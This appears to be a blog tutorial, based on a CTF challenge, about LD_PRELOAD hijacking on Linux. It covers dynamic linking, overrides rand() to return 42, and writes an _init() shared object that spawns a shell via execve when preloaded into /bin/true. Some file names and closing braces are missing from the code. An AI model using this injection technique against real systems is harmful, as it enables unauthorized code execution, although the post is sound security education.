Recently I learned about a neat little trick that lets you inject arbitrary code into a program, and lets you alter the behavior of the program to some extent. And all it uses is some custom C code and an innocent-looking environment variable. So yeah, in this post, we’re going to see what it is. I learned this while solving a CTF challenge, so let’s start with that in context.

The challenge

Create a shared object which spawns a shell using execve when used like;

$ LD_PRELOAD=./ /bin/true

The original challenge was a bit more involved than this, I’ve trimmed it down to the part that’s relevant to the topic of this article. Before solving this hands-on, we need to brush up on some background knowledge.

Linking 101 :: Static vs. dynamic

In this section, I’ll try to briefly explain the compilation process and the difference between static linking and dynamic linking. I’m doing this just because it’s directly relevant to the main content of this post, but I must state that I’m not an expert on this. The explanation will likely be an oversimplification almost to the point of being incorrect, but I’m hoping that for now it’ll work as an introduction for the complete beginner. If you already know all this stuff, skip this section. Now that we have that out of the way, let’s see if I can do this.

We all know what libraries are, right? Libraries are reusable code that we just import or include in our program and use directly. Regardless of experience or competence, all programmers use libraries; they are an inseparable part of the programming process. The usual reasons being

  • Not reinventing the wheel.
  • Keeping the source code modular, and thus readable, sane, etc.

The compilation process

Now, let’s look at the compilation process. First, the compiler compiles your source code into object files. And then linker combines the object files and any libraries that you might need, and creates the final executable. This way, the final executable has all the library functions it needs.

So, to reiterate, linking usually means creating an executable, from combining object files and libraries.

Linking can be of two types, static and dynamic.

Static linking

Static linking creates an executable that has everything it needs at runtime in itself. When you statically link your compiled object files and libraries, they get embedded in a single file—the final executable. Obviously, this will create a larger executable, but the upside is that you won’t have to depend on the runtime environment.

Dynamic linking

Dynamic linking does not embed the libraries in the executable; rather, it just leaves a reference mentioning that it needs those library functions at runtime. When the executable is run, another program called the dynamic linker makes sure that those library functions are present in memory, and if they are not, it loads them into memory. All in all, the dynamic linker makes sure that the library functions needed by the executable are present at runtime. There can be confusion of terminology here: the dynamic linker is not the same as the linker; the former is a part of the OS, the latter is used as a part of the compilation process.

In this way, the libraries are genuinely “shared” between different programs at runtime, and the OS doesn’t have to load multiple copies of the same core libraries. That means the available RAM is efficiently utilized. It also reduces the size of the executables and consequently, space on the secondary storage.

Hijacking library functions

Now we’re getting into the meat of the discussion. We know what the dynamic linker does in general. But there is a particular behavior of it that we’re going to exploit: The dynamic linker loads any libraries mentioned in the LD_PRELOAD environment variable before loading any other libraries. That means, in a way the libraries in LD_PRELOAD gets the most priority. This gives possibility of hijacking library calls made from any program, you just have to write an alternate implementation of the library function and mention the shared object file in LD_PRELOAD. Let’s explore this concept using an example.

Let’s create a simple application which we’re going to hijack.

#include <stdio.h>
#include <time.h>
#include <stdlib.h>

int main(int argc, char const *argv[]) {
    printf("%d\n", rand());

It’s a straightforward program; it generates a random integer and prints it to the screen.

sumit@HAL9000:~$ gcc random.c -o random
sumit@HAL9000:~$ ./random

We know this program inside-out, including which library functions it uses because we have access to its source code. But we won’t always have that privilege in the real world. So let’s forget for a while that we have the source code, and let’s try to figure it out from the executable binary.

The easiest way to do this would be running ltrace, which intercepts and records the system calls which are called by a process. However, if you’re using some specific versions of binutils—the compiler toolchain—ltrace might not work on your program. I’ve detailed that problem and some solutions in this post and this post. If that’s the case for you, use uftrace, the installation and usage is outlined here. We’re going to go with uftrace in this post.

Using uftrace to detect dynamic library calls

sumit@HAL9000:~$ uftrace --force -a ./random
   3.077 us [  3112] | time();
   4.586 us [  3112] | srand();
   0.736 us [  3112] | rand();
 237.164 us [  3112] | printf("%d\n") = 10;

Now, as you can see from the output, uftrace lists all the library calls it could intercept// detect. Now we know that it calls rand to generate a random number, and we would’ve got this information without the source code. Let’s consider that we want to spoof the program into generating the same number every time. That is, we want to hijack the rand function and change its return value, returning a fixed number every time it’s called.

Writing the rand function

In order to fool the program into using our counterfeit rand, it’s signature needs to match exactly with that of the actual rand—the function expected by the program. The signature of a function consists of its;

  • Name
  • Arguments
  • Return type

We can get all the details about libc functions using man.

sumit@HAL9000:~$ man 3 rand

Looking at the man page, we’ll see that the signature of read is the following ::

int rand(void);

It’s simple enough in this case, but still, we should read the man page of any and all libc function we’re trying to spoof. The man page also tells us how the functions are supposed to function, if we don’t keep in mind those critical functionalities, the program could crash. Knowing these, we can write our counterfeit function.

int rand(void) {
    return 42;

Let’s compile it into a shared library.

sumit@HAL9000:~$ gcc -shared -fpic shlib.c -o

This will compile the source file shlib.c into the shared object

The exploit

Now that we have a shared library that exports a counterfeit version of rand, how can we get the program to use it? We’ve discussed this at the start of the article, but let’s do a quick recap.

Whenever a program launches in Linux, the dynamic linker takes care of loading the required shared libraries. The dynamic linker has a special behavior, it loads the libraries mentioned in the LD_PRELOAD environment variable first, so those libraries get the most priority and overrides any other system libraries.

Knowing that, the rest is easy enough.

sumit@HAL9000:~$ LD_PRELOAD=./ ./random

It works!! The random program uses the rand function from, and thus it prints 42 every time. Note that setting the environment variable this way will set the variable for that command only, not the whole shell session. Setting the LD_PRELOAD variable for your whole session might mess things up, so this is the safer way.

Some caveats

1. System calls and libc

System calls, like open, can be called using three methods;

  • Directly invoking the system call trap// interrupt using proper machine instruction.
  • Using the syscall function from libc, which is a thin wrapper that takes care of invoking the appropriate machine instruction properly.
  • Using the wrapper function open from libc.

If the program is using either of the first two methods, you can’t hijack it using this technique.

2. Statically linked libraries

You can not hijack functions from statically linked libraries, because in that case, the libraries functions are embedded in the executable binary itself, it doesn’t look for it anywhere else.

Code injection :: The _init function

Okay, now we know how to hijack library calls. We can even write malicious code in our counterfeit functions, such as spawning a shell, or change the function’s behavior to our advantage.

But /bin/true does not call any libc function whatsoever. How can we inject code into that? Enter the _init function. The _init and _fini functions are run at the start and end of the loading process, respectively. It’s true for all programs, regardless of whether it calls any library functions, so we can use this to our advantage. As you can guess, it’s usually used for startup and cleanup tasks of the loading process. But we’re going to write a counterfeit _init, and that will execute our malicious code.

Note that nowadays, it’s usually not recommended to use _init and _fini for startup and cleanup tasks. The modern practice is writing constructors and destructors. You can read about it here. But as we’re not going to write startup tasks anyway, let’s go along with _init.

The exploit

As we already know how the process works, this time, let’s keep it short and get to the point.

#include <unistd.h>

void _init() {
    char *argv[] = {"/bin/sh", 0};
    execve(argv[0], &argv[0], NULL);

Above is the _init implementation I wrote; it spawns a shell using execve, pretty naughty, eh? Now let’s compile it and LD_PRELOAD the compiled library.

sumit@HAL9000:~$ gcc -shared -fpic -nostartfiles shlib.c -o
sumit@HAL9000:~$ LD_PRELOAD=./ ./random
$ whoami
$ exit
sumit@HAL9000:~$ LD_PRELOAD=./ /bin/true

As you can see, the code injection worked for both random and /bin/true, it spawned a shell! The dynamic linker made sure that the _init function gets executed, at the very start of the loading process. Note that when your source code has the _init function, you need to pass the nostartfiles flag to gcc for it to compile.


I might have gotten a bit impatient while writing the article, and I rushed a bit; so there might be mistakes or some portions of it might not be so clear. If you face any problem while following the article, or if you find any mistake, or simply if you have questions to ask, please let me know in the comments and I’ll get back to as soon as possible. Hope this post helps you. Have a great day!